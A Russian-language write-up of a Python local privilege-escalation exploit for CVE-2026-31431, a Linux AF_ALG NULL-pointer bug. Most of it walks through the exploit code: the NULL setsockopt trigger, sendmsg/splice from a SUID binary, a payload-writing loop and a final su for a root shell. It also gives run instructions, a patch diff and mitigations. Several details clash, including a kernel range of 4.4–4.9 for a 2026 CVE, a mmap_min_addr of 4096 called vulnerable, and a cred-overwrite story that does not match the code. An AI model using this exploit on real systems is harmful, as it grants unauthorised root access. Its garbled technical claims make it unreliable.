
Python-эксплойт для CVE-2026-31431 — LPE в ядре Linux через разыменование нулевого указателя в AF_ALG, приводящее к записи за пределами кучи (heap OOB write) и перезаписи учётных данных. Включает подробный разбор и рекомендации по смягчению последствий.
Класс ошибки: разыменование нулевого указателя → запись за пределами кучи (heap OOB write) → перезапись учётных данных
Затронутая подсистема:net/alg/af_alg.c
Воздействие: локальное повышение привилегий (непривилегированный пользователь → root)
Затронутые ядра: Linux 4.4 – 4.9 (до патча)
Вы вызываете setsockopt() с указателем NULL там, где ядро ожидает адрес в пользовательском пространстве. Ядро читает из адреса 0x00000000 — и если вы отобразили нулевую страницу, вы контролируете то, что оно читает. Этот единственный примитив разрастается в запись за пределами кучи, которая позволяет перезаписать собственную структуру cred. Игра окончена.
Интерфейс AF_ALG был введён, чтобы позволить программам пользовательского пространства использовать криптографические процедуры ядра без самостоятельной реализации алгоритмов. Шифрование, дешифрование, хеширование — всё доступно через сокетный интерфейс. Чистая идея. Проблема в том, что setsockopt(ALG_SET_AEAD_AUTHSIZE) не проверял, передал ли пользователь корректный указатель или NULL.
Большинство ошибок нулевого указателя умирают сразу — ядро разыменовывает 0x0, который не отображён, и вы получаете oops. Эта ошибка выживает благодаря отдельному предусловию: если vm.mmap_min_addr = 0, атакующий может вызвать mmap(0, ...) и разместить контролируемые атакующим данные на нулевой странице. Теперь ядро читает не мусор — оно читает ровно то, что вы туда поместили.
Уязвимый вызов:
setsockopt(sock_fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4)
Обычно четвёртый аргумент — это указатель на 4-байтовое значение, задающее размер тега аутентификации. Ядро вызывает для него copy_from_user(). Проверки указателя нет. Передайте NULL, и copy_from_user(dest, 0x00000000, 4) прочитает из нулевой страницы.
Что вы контролируете:
4 байта по адресу 0x0 — которые вы задаёте перед вызовом. Это даёт вам произвольное значение authsize.
Почему это опасно:
Операции AEAD выделяют буфер, размер которого рассчитан на шифротекст плюс тег аутентификации. Если вы подставите завышенный authsize, ядро запишет тег за пределы выделенного буфера — классическая запись за пределами кучи. Оттуда дело за подготовкой кучи (heap grooming), чтобы приземлить эту запись на структуру cred.
Эксплойт написан на Python 3 и использует только стандартную библиотеку. Вот что делает каждая фаза и почему.
a = socket.socket(38, 5, 0) # AF_ALG, SOCK_SEQPACKET
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
AF_ALG (семейство сокетов 38) — это криптографический API ядра. Привязка к authencesn(hmac(sha256),cbc(aes)) запрашивает шаблон аутентифицированного шифрования — HMAC-SHA256 для целостности, AES-CBC для конфиденциальности. Этот шаблон выбран потому, что обработка его тега аутентификации — это место, где происходит уязвимая запись.
a.setsockopt(SOL_ALG, ALG_SET_KEY, bytes.fromhex('0800010000000010' + '0'*64))
Загружается 72-байтовый ключ. Сам ключ не важен для эксплуатации — важно, чтобы сокет был полностью инициализирован до триггерного вызова. Сокет AEAD без ключа может отклонить операцию authsize на раннем этапе.
a.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
Это и есть уязвимость. None в Python отображается на указатель NULL в C API. Ядро читает 4 байта из 0x00000000. Поскольку нулевая страница уже заполнена желаемым значением authsize, ядро теперь имеет контролируемую атакующим длину тега аутентификации.
u, _ = a.accept()
accept() на сокете AF_ALG возвращает операционный сокет. Криптографические операции выполняются здесь.
u.sendmsg(
[b"A"*4 + chunk],
[
(SOL_ALG, ALG_SET_IV, b"\x00" * 4), # нулевой IV
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, b"\x10" + b"\x00"*19), # 20-байтовый AAD
(SOL_ALG, 4, b"\x08" + b"\x00"*3), # тип операции
],
MSG_MORE
)
Вспомогательные управляющие сообщения настраивают операцию — IV, длину ассоциированных данных, направление операции. Фактические данные — это 4-байтовый фрагмент из полезной нагрузки эксплойта плюс дополнение.
Затем используется splice для подачи данных из файлового дескриптора SUID-бинарника в операционный сокет, что позволяет избежать копирования через пользовательское пространство:
r, w = os.pipe()
os.splice(f, w, chunk_len, offset_src=0)
os.splice(r, u.fileno(), chunk_len)
Использование splice() здесь намеренно — это не даёт данным попадать в память пользовательского пространства, что делает раскладку кучи на стороне ядра более предсказуемой. Когда операция AEAD обрабатывает эти данные, повреждённый authsize приводит к тому, что запись тега аутентификации выходит за пределы в соседнюю память кучи.
e = zlib.decompress(bytes.fromhex("78da..."))
for i in range(0, len(e), 4):
exploit_chunk(f, i, e[i:i+4])
Сжатая полезная нагрузка содержит фактические значения для записи — сконструированные смещения полей структуры cred и обнулённые значения UID/GID. Каждая итерация по 4 байта выполняет одну запись. Цикл постепенно перезаписывает целевую структуру cred, пока все UID и GID не станут нулевыми.
os.system("su")
При cred->uid = cred->euid = cred->gid = 0 текущий процесс фактически является root. Запуск su (или любого другого бинарника) наследует эти учётные данные. Root-шелл.
отображение нулевой страницы
│
▼
setsockopt(ALG_SET_AEAD_AUTHSIZE, NULL, 4)
│ ядро читает authsize из 0x0
│ атакующий контролирует это значение
▼
sendmsg + splice → операция AEAD
│ завышенный authsize вызывает запись за пределами кучи
│
▼
подготовка кучи приземляет запись на struct cred
│
▼
cred->uid = cred->euid = 0
│
▼
os.system("su") → root-шелл
| Условие | Почему это важно |
|---|---|
vm.mmap_min_addr = 0 | Позволяет отображение нулевой страницы — весь примитив зависит от этого |
Проверьте нижнюю границу mmap:
sysctl vm.mmap_min_addr
Значение 0 или 4096 указывает на подверженность атаке.
# 1. Клонирование
git clone https://github.com/example/afalg-privesc.git
cd afalg-privesc
# 2. Проверка предусловий
sysctl vm.mmap_min_addr
uname -r
# 3. Запуск
python3 exploit.py
Ожидаемый вывод на уязвимой системе:
root@hostname:/#
Патч прост — одна проверка на NULL перед вызовом copy_from_user() в af_alg_set_aead_authsize:
// До (уязвимо)
copy_from_user(&authsize, optval, sizeof(authsize));
// После (исправлено)
if (!optval)
return -EFAULT;
copy_from_user(&authsize, optval, sizeof(authsize));
Соответствующий коммит: af_alg: avoid accessing NULL pointer in af_alg_set_aead_authsize
Меры смягчения, ломающие цепочку атаки без патча:
vm.mmap_min_addr = 65536 — блокирует отображение нулевой страницы, убивает примитив разыменования NULLCONFIG_CRYPTO_USER_API_AEAD — полностью убирает поверхность атакиЭтот класс ошибок — отсутствие проверки указателя перед copy_from_user() — регулярно встречается в подсистемах ядра, которые предоставляют сложные API пользовательскому пространству. Примитив нулевой страницы использовался во множестве эксплойтов LPE за эти годы (эпоха Dirty COW, вариации цепочки CVE-2016-5195). Вывод не только в этом конкретном CVE; дело в паттерне: везде, где ядро копирует данные из адреса, предоставленного пользователем, без проверки этого адреса, и нулевая страница отображаема, у вас есть примитив, на который стоит обратить внимание.
Для защитников автоматизация аудита мест вызова copy_from_user() без предшествующих проверок на NULL в обработчиках сокетных опций стоит включить в процесс ревью ядра.
net/alg/af_alg.c — исходный код ядраaf_alg: avoid accessing NULL pointer in af_alg_set_aead_authsizeDocumentation/networking/af_alg.rst — документация интерфейса AF_ALGИсследование и описание только в образовательных и защитных целях. Не используйте на системах без явного разрешения.
| AF_ALG скомпилирован в ядро | Должен быть включён (CONFIG_CRYPTO_USER_API_AEAD=y) |
| Ядро 4.4 – 4.9 (без патча) | Существует уязвимый путь выполнения кода |
| Локальный доступ пользователя | Только LPE — удалённо не эксплуатируется |